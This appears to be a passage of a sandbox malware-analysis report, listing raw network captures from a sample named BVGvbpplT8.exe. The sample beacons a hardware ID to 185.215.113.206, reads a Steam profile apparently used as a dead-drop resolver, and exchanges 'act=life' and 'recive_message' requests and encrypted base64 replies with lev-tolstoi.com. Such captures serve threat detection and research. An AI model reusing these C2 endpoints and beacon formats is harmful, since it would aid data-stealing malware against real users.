Dec 23, 2024 09:00:51.734757900 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CFHCBKKFIJJJECAAFCGI Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 46 48 43 42 4b 4b 46 49 4a 4a 4a 45 43 41 41 46 43 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 38 44 41 45 37 33 45 46 34 35 39 32 33 39 38 39 38 39 30 30 39 0d 0a 2d 2d 2d 2d 2d 2d 43 46 48 43 42 4b 4b 46 49 4a 4a 4a 45 43 41 41 46 43 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 74 6f 6b 0d 0a 2d 2d 2d 2d 2d 2d 43 46 48 43 42 4b 4b 46 49 4a 4a 4a 45 43 41 41 46 43 47 49 2d 2d 0d 0a Data Ascii: ------CFHCBKKFIJJJECAAFCGIContent-Disposition: form-data; name="hwid"98DAE73EF4592398989009------CFHCBKKFIJJJECAAFCGIContent-Disposition: form-data; name="build"stok------CFHCBKKFIJJJECAAFCGI--
Dec 23, 2024 09:00:52.183321953 CET	210	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 08:00:51 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49719	104.102.49.254	443	4060	C:\Users\user\Desktop\BVGvbpplT8.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-23 08:00:11 UTC	219	OUT	GET /profiles/76561199724331900 HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: steamcommunity.com
2024-12-23 08:00:11 UTC	1905	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/html; charset=UTF-8 Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.fastly.steamstatic.com/ https://cdn.fastly.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.fastly.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq. [TRUNCATED] Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: no-cache Date: Mon, 23 Dec 2024 08:00:11 GMT Content-Length: 35121 Connection: close Set-Cookie: sessionid=da1ad70c3602dbb72bb1b282; Path=/; Secure; SameSite=None Set-Cookie: steamCountry=US%7C185ce35c568ebbb18a145d0cabae7186; Path=/; Secure; HttpOnly; SameSite=None
2024-12-23 08:00:11 UTC	14479	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 20 72 65 73 70 6f 6e 73 69 76 65 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0a 09 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 68 65 6d 65 2d 63 6f 6c 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 23 31 37 31 61 32 31 22 3e 0a 09 09 3c 74 69 74 6c 65 3e Data Ascii: <!DOCTYPE html><html class=" responsive" lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1"><meta name="theme-color" content="#171a21"><title>
2024-12-23 08:00:12 UTC	16384	IN	Data Raw: 2e 63 6f 6d 2f 3f 73 75 62 73 65 63 74 69 6f 6e 3d 62 72 6f 61 64 63 61 73 74 73 22 3e 0a 09 09 09 09 09 09 42 72 6f 61 64 63 61 73 74 73 09 09 09 09 09 09 09 09 09 09 09 3c 2f 61 3e 0a 09 09 09 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 09 09 09 09 09 09 09 3c 61 20 63 6c 61 73 73 3d 22 6d 65 6e 75 69 74 65 6d 20 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 6f 72 65 2e 73 74 65 61 6d 70 6f 77 65 72 65 64 2e 63 6f 6d 2f 61 62 6f 75 74 2f 22 3e 0a 09 09 09 09 41 62 6f 75 74 09 09 09 3c 2f 61 3e 0a 09 09 09 09 09 09 09 09 09 09 3c 61 20 63 6c 61 73 73 3d 22 6d 65 6e 75 69 74 65 6d 20 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 68 65 6c 70 2e 73 74 65 61 6d 70 6f 77 65 72 65 64 2e 63 6f 6d 2f 65 6e 2f 22 3e 0a 09 09 09 09 53 55 50 50 4f 52 54 09 Data Ascii: .com/?subsection=broadcasts">Broadcasts</a></div><a class="menuitem " href="https://store.steampowered.com/about/">About</a><a class="menuitem " href="https://help.steampowered.com/en/">SUPPORT
2024-12-23 08:00:12 UTC	3768	IN	Data Raw: 0a 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 72 6f 66 69 6c 65 5f 68 65 61 64 65 72 5f 61 63 74 69 6f 6e 73 22 3e 0a 09 09 09 09 09 09 09 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 09 3c 2f 64 69 76 3e 0a 0a 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 72 6f 66 69 6c 65 5f 68 65 61 64 65 72 5f 73 75 6d 6d 61 72 79 22 3e 0a 09 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 65 72 73 6f 6e 61 5f 6e 61 6d 65 20 70 65 72 73 6f 6e 61 5f 6e 61 6d 65 5f 73 70 61 63 65 72 22 20 73 74 79 6c 65 3d 22 66 6f 6e 74 2d 73 69 7a 65 3a 20 32 34 70 78 3b 22 3e 0a 09 09 09 09 09 09 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 61 63 74 75 61 6c 5f 70 65 72 73 6f 6e 61 5f 6e 61 6d 65 22 Data Ascii: </div><div class="profile_header_actions"></div></div><div class="profile_header_summary"><div class="persona_name persona_name_spacer" style="font-size: 24px;"><span class="actual_persona_name"
2024-12-23 08:00:12 UTC	490	IN	Data Raw: 72 20 41 67 72 65 65 6d 65 6e 74 3c 2f 61 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 26 6e 62 73 70 3b 7c 20 26 6e 62 73 70 3b 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 73 74 6f 72 65 2e 73 74 65 61 6d 70 6f 77 65 72 65 64 2e 63 6f 6d 2f 61 63 63 6f 75 6e 74 2f 63 6f 6f 6b 69 65 70 72 65 66 65 72 65 6e 63 65 73 2f 22 20 74 61 72 67 65 74 3d 22 5f 62 6c 61 6e 6b 22 3e 43 6f 6f 6b 69 65 73 3c 2f 61 3e 0a 09 09 09 09 09 09 3c 2f 73 70 61 6e 3e 0a 09 09 09 09 09 09 09 09 09 3c 2f 73 70 61 6e 3e 0a 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 72 65 73 70 6f 6e 73 69 76 65 5f 6f 70 74 69 6e 5f 6c 69 6e 6b 22 3e 0a 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 62 74 Data Ascii: r Agreement</a>  \|  <a href="http://store.steampowered.com/account/cookiepreferences/" target="_blank">Cookies</a></span></span></div><div class="responsive_optin_link"><div class="bt

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49721	104.21.66.86	443	4060	C:\Users\user\Desktop\BVGvbpplT8.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-23 08:00:13 UTC	262	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: lev-tolstoi.com
2024-12-23 08:00:13 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-23 08:00:14 UTC	1124	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 08:00:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=i7fllcdv05vrv4cd5flkvmb9r2; expires=Fri, 18 Apr 2025 01:46:52 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=G3Rj9e%2FezuGrTKU8PQ5mh0SPACQqayPyGIKi%2FHmif9Izs%2FK5EGTRdhd6kA4ghsqCeiY8TSyhoVIENgXr09zBOVdZwr39hjZsmE%2FKfPibbwtqPSdeqnPrqfL3gHbX0azBsdg%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f66d115681d4286-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2045&min_rtt=2042&rtt_var=773&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2836&recv_bytes=906&delivery_rate=1409946&cwnd=32&unsent_bytes=0&cid=9e106ea69a63bf4a&ts=749&x=0"
2024-12-23 08:00:14 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-23 08:00:14 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49730	104.21.66.86	443	4060	C:\Users\user\Desktop\BVGvbpplT8.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-23 08:00:15 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 47 Host: lev-tolstoi.com
2024-12-23 08:00:15 UTC	47	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=PsFKDg--pablo&j=
2024-12-23 08:00:16 UTC	1125	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 08:00:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=i58bp9nhbjtnec576j0spnamtj; expires=Fri, 18 Apr 2025 01:46:55 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=xQf41T4WXzYGGADF3wyaCEI74B5d%2B3ZXWILuWYhbFxrEY8RsfBCHnPEpfIy5FD%2BnGGlYWsJyTUGnc%2FjHXDwkxgs0hbuVkFmZg244IMM5XmomwpuueF4ZIpTRBp8c%2BTpfJlI%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f66d122bff54358-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1556&min_rtt=1540&rtt_var=611&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2834&recv_bytes=946&delivery_rate=1743283&cwnd=206&unsent_bytes=0&cid=4390e17f367e53b3&ts=903&x=0"
2024-12-23 08:00:16 UTC	244	IN	Data Raw: 31 63 63 34 0d 0a 4a 65 6d 62 6c 6a 62 70 67 61 62 65 67 7a 32 73 69 49 78 53 52 34 61 6c 38 4b 63 6b 78 6d 69 43 78 74 67 30 78 48 62 4d 37 55 31 65 79 2b 32 30 44 4e 32 74 68 4b 33 6d 48 35 62 38 2f 69 63 69 71 6f 65 52 77 77 62 38 44 75 4f 71 71 31 48 6f 56 4c 71 41 62 78 2b 50 2b 76 70 46 6a 4b 32 45 75 2f 73 66 6c 74 50 33 63 43 4c 6f 68 38 71 46 51 61 77 4b 34 36 71 36 56 61 38 5a 76 49 45 75 54 59 58 38 2f 6c 4f 4b 35 63 65 79 37 6c 6a 4a 37 65 30 34 4b 65 2f 49 6d 4d 6f 47 36 6b 72 6e 76 50 6f 4f 35 6a 75 70 6d 53 78 6f 69 4f 6a 39 46 4a 53 74 33 66 7a 6d 55 34 36 79 72 6a 4d 69 35 4d 6d 57 77 30 2b 75 41 4f 71 69 75 31 43 75 42 71 57 4c 4a 55 32 4c 2f 2f 39 5a 67 2f 48 4b 75 4f 6c 54 7a 2b 66 74 63 47 75 6b 77 49 Data Ascii: 1cc4Jembljbpgabegz2siIxSR4al8KckxmiCxtg0xHbM7U1ey+20DN2thK3mH5b8/iciqoeRwwb8DuOqq1HoVLqAbx+P+vpFjK2Eu/sfltP3cCLoh8qFQawK46q6Va8ZvIEuTYX8/lOK5cey7ljJ7e04Ke/ImMoG6krnvPoO5jupmSxoiOj9FJSt3fzmU46yrjMi5MmWw0+uAOqiu1CuBqWLJU2L//9Zg/HKuOlTz+ftcGukwI
2024-12-23 08:00:16 UTC	1369	IN	Data Raw: 71 46 48 75 52 5a 30 71 65 72 52 37 4d 5a 76 6f 6c 76 57 4d 58 67 74 46 4f 48 6f 35 7a 38 36 56 50 41 37 2b 30 2f 49 75 58 48 67 4d 70 47 70 77 4c 6f 6f 4c 42 5a 71 52 75 67 68 53 68 50 67 76 37 37 55 34 50 6c 79 37 2b 68 45 59 37 74 39 6e 42 39 70 4f 65 43 78 6b 57 77 42 2f 48 6b 70 52 69 2f 56 4b 6d 44 62 78 2f 4c 2f 2f 70 56 68 75 50 57 74 4f 70 55 79 2f 6a 6c 4f 53 6a 70 78 35 2f 50 53 61 63 4b 35 36 36 77 57 61 77 51 6f 34 49 70 52 34 75 35 75 68 53 4d 2b 34 54 6b 6f 58 7a 4c 2b 75 6b 38 4d 36 62 39 30 74 6f 49 76 55 72 6e 71 50 6f 4f 35 68 79 72 6a 43 78 4d 68 50 72 38 58 35 6e 6a 31 72 72 73 57 74 7a 73 36 7a 34 76 35 39 57 59 79 30 43 6e 41 2b 75 74 76 31 47 69 56 4f 44 50 4b 46 2f 4c 6f 62 52 31 68 75 6a 49 74 76 5a 66 6a 76 57 67 4b 57 58 6a 79 Data Ascii: qFHuRZ0qerR7MZvolvWMXgtFOHo5z86VPA7+0/IuXHgMpGpwLooLBZqRughShPgv77U4Ply7+hEY7t9nB9pOeCxkWwB/HkpRi/VKmDbx/L//pVhuPWtOpUy/jlOSjpx5/PSacK566wWawQo4IpR4u5uhSM+4TkoXzL+uk8M6b90toIvUrnqPoO5hyrjCxMhPr8X5nj1rrsWtzs6z4v59WYy0CnA+utv1GiVODPKF/LobR1hujItvZfjvWgKWXjy
2024-12-23 08:00:16 UTC	1369	IN	Data Raw: 72 42 2b 7a 6b 39 42 61 68 44 4f 37 58 62 32 32 49 37 66 64 65 79 64 62 48 73 75 39 59 32 4b 72 78 66 6a 79 6b 77 4a 36 46 48 75 51 48 34 61 79 38 52 4b 6b 5a 72 59 45 68 53 49 37 32 2f 46 53 4c 37 73 47 34 36 6c 54 4e 35 2b 6f 69 4c 2b 54 50 6c 38 52 4d 72 6b 71 75 35 4c 31 4f 35 6b 7a 75 76 6a 68 4d 79 63 7a 33 57 6f 58 6b 30 76 7a 2b 45 64 65 71 36 54 78 6c 76 49 65 66 7a 55 4f 68 42 65 47 75 74 46 4f 73 47 4b 61 42 4c 46 57 45 2f 66 52 59 67 2b 6e 4a 73 75 56 58 78 2b 48 6c 4e 69 58 6c 7a 64 4b 4c 42 71 4d 53 6f 50 7a 36 59 71 45 59 6f 34 42 74 63 6f 6a 33 2b 6c 4f 64 6f 39 76 79 2b 42 2f 4a 35 71 35 6f 5a 65 6a 4f 6b 73 35 4d 6f 41 72 6e 71 62 39 56 6f 52 65 6a 69 43 56 4a 6a 50 33 34 58 59 62 6c 78 4c 76 6c 57 74 7a 76 35 7a 77 70 70 49 6e 53 77 6c Data Ascii: rB+zk9BahDO7Xb22I7fdeydbHsu9Y2KrxfjykwJ6FHuQH4ay8RKkZrYEhSI72/FSL7sG46lTN5+oiL+TPl8RMrkqu5L1O5kzuvjhMycz3WoXk0vz+Edeq6TxlvIefzUOhBeGutFOsGKaBLFWE/fRYg+nJsuVXx+HlNiXlzdKLBqMSoPz6YqEYo4Btcoj3+lOdo9vy+B/J5q5oZejOks5MoArnqb9VoRejiCVJjP34XYblxLvlWtzv5zwppInSwl
2024-12-23 08:00:16 UTC	1369	IN	Data Raw: 35 4c 31 61 35 6b 7a 75 68 69 5a 56 68 66 66 39 57 59 33 72 77 37 4c 73 56 4d 6a 68 36 54 63 6a 36 63 2b 66 77 45 57 6c 44 75 71 32 75 56 32 73 47 61 54 50 59 51 65 4d 34 62 51 4d 79 38 54 49 6c 66 46 45 33 50 79 75 4c 32 76 39 68 35 58 4a 42 76 78 4b 34 36 75 7a 57 61 34 63 6f 59 41 72 53 59 33 2f 2b 56 47 45 36 64 61 30 37 31 4c 46 35 65 55 69 4a 65 6e 44 6e 73 46 4f 72 77 43 67 36 76 70 52 76 6c 54 32 7a 78 70 4b 68 50 6e 33 51 73 76 38 69 71 57 68 57 4d 4b 71 74 6e 41 70 36 73 65 64 79 55 71 76 41 75 47 6f 74 46 47 6a 48 61 61 48 50 55 61 50 38 66 56 61 68 4f 4c 41 75 65 52 62 79 65 37 6f 50 32 57 71 68 35 58 64 42 76 78 4b 7a 34 4f 50 46 49 63 75 37 70 42 68 58 73 76 2b 2b 42 54 54 6f 38 69 2f 37 56 66 42 37 4f 63 38 4c 2b 33 4d 6e 73 35 43 71 41 50 Data Ascii: 5L1a5kzuhiZVhff9WY3rw7LsVMjh6Tcj6c+fwEWlDuq2uV2sGaTPYQeM4bQMy8TIlfFE3PyuL2v9h5XJBvxK46uzWa4coYArSY3/+VGE6da071LF5eUiJenDnsFOrwCg6vpRvlT2zxpKhPn3Qsv8iqWhWMKqtnAp6sedyUqvAuGotFGjHaaHPUaP8fVahOLAueRbye7oP2Wqh5XdBvxKz4OPFIcu7pBhXsv++BTTo8i/7VfB7Oc8L+3Mns5CqAP
2024-12-23 08:00:16 UTC	1369	IN	Data Raw: 36 63 53 76 49 67 6d 56 59 58 30 2b 31 79 44 36 73 57 34 35 46 4c 49 35 75 51 78 49 75 72 4a 6d 6f 55 49 35 41 33 34 35 4f 49 57 68 77 53 31 6e 54 6c 4b 71 76 54 37 46 4a 53 74 33 66 7a 6d 55 34 36 79 72 6a 6b 33 34 4d 71 41 7a 45 47 71 42 65 4f 32 75 31 75 74 42 71 6d 41 4b 30 43 48 2f 2f 74 53 69 75 62 4f 73 4f 5a 61 78 65 58 69 63 47 75 6b 77 49 71 46 48 75 51 6b 36 37 65 74 56 61 67 66 75 4a 52 76 57 4d 58 67 74 46 4f 48 6f 35 7a 38 34 6c 54 46 37 75 34 38 4a 65 44 4b 6b 74 64 4a 6f 77 33 70 72 36 68 63 6f 52 4f 6c 68 79 52 49 6a 65 76 34 57 70 6e 6d 31 71 36 68 45 59 37 74 39 6e 42 39 70 50 47 56 31 56 61 6e 53 4e 47 79 75 55 43 74 47 61 4c 50 4d 41 6d 53 75 66 4e 59 79 37 75 45 75 75 35 57 7a 65 58 76 4f 53 6e 70 77 70 76 41 52 36 49 4f 36 71 36 36 Data Ascii: 6cSvIgmVYX0+1yD6sW45FLI5uQxIurJmoUI5A345OIWhwS1nTlKqvT7FJSt3fzmU46yrjk34MqAzEGqBeO2u1utBqmAK0CH//tSiubOsOZaxeXicGukwIqFHuQk67etVagfuJRvWMXgtFOHo5z84lTF7u48JeDKktdJow3pr6hcoROlhyRIjev4Wpnm1q6hEY7t9nB9pPGV1VanSNGyuUCtGaLPMAmSufNYy7uEuu5WzeXvOSnpwpvAR6IO6q66
2024-12-23 08:00:16 UTC	1369	IN	Data Raw: 48 42 4e 67 65 4d 39 62 51 4d 79 2b 44 44 76 2b 42 56 78 2b 62 68 4e 79 48 32 7a 5a 58 58 52 36 55 42 37 61 69 36 57 36 73 65 72 34 59 69 53 34 62 2b 38 31 75 4f 6f 34 72 38 35 6b 65 4f 73 71 34 52 4b 4f 2f 4c 79 5a 38 47 75 30 54 35 35 4c 31 61 35 6b 7a 75 6a 79 56 43 67 66 54 33 57 34 6a 78 78 62 72 7a 58 38 50 67 2f 44 6f 75 34 63 71 66 79 45 57 69 44 4f 75 6f 71 46 2b 6d 46 36 58 50 59 51 65 4d 34 62 51 4d 79 38 44 54 71 75 74 59 77 76 7a 6c 4d 53 62 79 79 6f 4b 46 43 4f 51 62 35 37 58 36 44 72 41 45 75 59 67 77 43 5a 4b 35 38 31 6a 4c 75 34 53 36 36 46 6e 4a 37 4f 41 69 49 4f 4c 49 6e 63 78 50 6f 41 4c 6a 70 4c 35 53 6f 52 47 74 67 79 52 41 69 50 62 77 58 59 58 71 79 2f 79 76 48 38 6e 79 72 6d 68 6c 78 64 79 52 79 55 76 6b 46 61 36 39 2b 6c 47 71 56 Data Ascii: HBNgeM9bQMy+DDv+BVx+bhNyH2zZXXR6UB7ai6W6ser4YiS4b+81uOo4r85keOsq4RKO/LyZ8Gu0T55L1a5kzujyVCgfT3W4jxxbrzX8Pg/Dou4cqfyEWiDOuoqF+mF6XPYQeM4bQMy8DTqutYwvzlMSbyyoKFCOQb57X6DrAEuYgwCZK581jLu4S66FnJ7OAiIOLIncxPoALjpL5SoRGtgyRAiPbwXYXqy/yvH8nyrmhlxdyRyUvkFa69+lGqV
2024-12-23 08:00:16 UTC	283	IN	Data Raw: 66 79 39 6e 2f 51 6f 37 6b 30 76 37 55 58 4d 44 6b 36 53 5a 6c 2b 2f 6a 63 68 55 6d 2b 53 72 69 64 6f 78 61 68 47 4f 37 58 62 31 4b 4d 2b 66 4e 4f 6e 65 54 49 72 65 70 53 77 73 6a 68 4e 7a 50 6e 79 4a 48 55 54 2b 67 42 37 65 54 30 46 71 45 4d 37 74 64 76 61 49 7a 76 39 33 75 49 38 73 33 38 72 78 2f 4a 2f 4b 35 6f 5a 64 71 48 67 4d 5a 57 70 77 58 78 6d 76 6f 4f 76 79 72 75 68 44 6c 41 6d 2f 72 69 58 34 62 76 31 59 4b 68 42 35 71 34 76 47 4a 33 74 74 6a 53 32 6e 6e 71 53 75 48 6b 34 6d 2b 2f 56 4c 6a 50 64 78 58 46 75 65 59 55 30 36 4f 44 76 2f 4e 4e 79 4f 6e 34 4d 32 4c 61 2b 62 58 54 54 4b 4d 61 35 37 4f 31 46 75 68 55 6f 63 39 33 66 73 76 77 38 30 2b 61 39 63 6d 73 35 68 2f 78 70 4b 34 6f 5a 62 79 48 70 38 5a 49 71 67 33 32 74 66 64 78 73 42 36 70 6e 79 Data Ascii: fy9n/Qo7k0v7UXMDk6SZl+/jchUm+SridoxahGO7Xb1KM+fNOneTIrepSwsjhNzPnyJHUT+gB7eT0FqEM7tdvaIzv93uI8s38rx/J/K5oZdqHgMZWpwXxmvoOvyruhDlAm/riX4bv1YKhB5q4vGJ3ttjS2nnqSuHk4m+/VLjPdxXFueYU06ODv/NNyOn4M2La+bXTTKMa57O1FuhUoc93fsvw80+a9cms5h/xpK4oZbyHp8ZIqg32tfdxsB6pny
2024-12-23 08:00:16 UTC	1369	IN	Data Raw: 32 63 35 38 0d 0a 6c 68 48 30 57 50 2f 71 6f 78 61 77 56 50 62 64 59 51 65 5a 75 61 77 55 7a 4f 44 57 72 75 64 63 32 4f 6d 70 44 68 76 44 33 5a 2f 44 55 62 55 30 33 71 4f 67 57 36 41 44 76 38 4d 36 52 49 58 33 38 30 4c 4c 72 59 53 7a 6f 51 66 33 71 71 5a 77 47 71 71 48 69 6f 55 65 35 44 2f 6a 71 72 52 52 73 41 58 6a 71 44 56 4b 6a 65 37 6c 46 4d 57 6a 77 76 79 35 44 34 43 71 36 69 46 6c 76 4a 66 41 6e 68 50 33 58 62 44 32 70 52 69 2f 56 4c 6a 50 64 78 58 46 75 65 59 55 30 36 4f 44 76 2f 4e 4e 79 4f 6e 34 4d 32 4c 61 2b 62 7a 43 51 4b 45 4e 38 4f 61 55 58 62 49 54 37 73 46 76 53 4d 75 68 7a 52 54 44 6f 2f 76 79 6f 55 65 4f 73 71 34 46 4a 75 72 4a 6c 64 4e 58 36 53 54 6e 6f 72 39 52 74 6c 61 41 68 44 74 41 79 37 65 30 55 73 75 37 6c 50 4b 68 57 39 2b 71 74 Data Ascii: 2c58lhH0WP/qoxawVPbdYQeZuawUzODWrudc2OmpDhvD3Z/DUbU03qOgW6ADv8M6RIX380LLrYSzoQf3qqZwGqqHioUe5D/jqrRRsAXjqDVKje7lFMWjwvy5D4Cq6iFlvJfAnhP3XbD2pRi/VLjPdxXFueYU06ODv/NNyOn4M2La+bzCQKEN8OaUXbIT7sFvSMuhzRTDo/vyoUeOsq4FJurJldNX6STnor9RtlaAhDtAy7e0Usu7lPKhW9+qt
2024-12-23 08:00:16 UTC	1369	IN	Data Raw: 35 72 4f 4a 49 6f 77 76 32 74 4b 31 5a 36 54 71 59 72 68 46 35 6e 76 72 36 57 6f 7a 31 31 66 79 76 48 38 47 71 74 67 6c 6c 72 49 65 74 69 77 61 38 53 72 6a 6b 6a 31 57 6f 47 71 6d 5a 50 67 71 73 39 2f 4e 56 6e 66 50 54 73 36 35 78 2b 4d 75 75 66 6d 58 69 68 38 71 58 43 4f 51 4f 38 65 54 69 42 76 52 50 2b 39 78 34 46 39 6e 6d 75 6b 33 4c 39 59 54 6b 73 78 47 4f 2b 4b 35 6f 5a 61 50 45 67 4e 64 41 70 78 7a 6a 34 34 52 6f 67 52 71 70 6a 6a 6c 58 68 76 58 56 56 35 72 70 2b 6f 4c 30 58 4d 44 6b 36 53 59 30 70 49 6e 53 79 67 62 38 4d 36 44 73 2b 6d 6e 6f 56 4c 62 50 64 77 65 2b 2b 76 70 61 6a 50 58 56 38 63 5a 52 79 65 76 34 49 43 6a 6f 35 70 48 55 54 4f 52 45 6f 4b 4c 36 44 76 52 61 37 6f 73 2b 42 39 4f 70 70 67 2f 65 73 4a 50 73 73 30 43 41 38 36 34 6d 5a 62 Data Ascii: 5rOJIowv2tK1Z6TqYrhF5nvr6Woz11fyvH8GqtgllrIetiwa8Srjkj1WoGqmZPgqs9/NVnfPTs65x+MuufmXih8qXCOQO8eTiBvRP+9x4F9nmuk3L9YTksxGO+K5oZaPEgNdApxzj44RogRqpjjlXhvXVV5rp+oL0XMDk6SY0pInSygb8M6Ds+mnoVLbPdwe++vpajPXV8cZRyev4ICjo5pHUTOREoKL6DvRa7os+B9Oppg/esJPss0CA864mZb

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49737	104.21.66.86	443	4060	C:\Users\user\Desktop\BVGvbpplT8.exe

Timestamp	Bytes transferred	Direction	Data
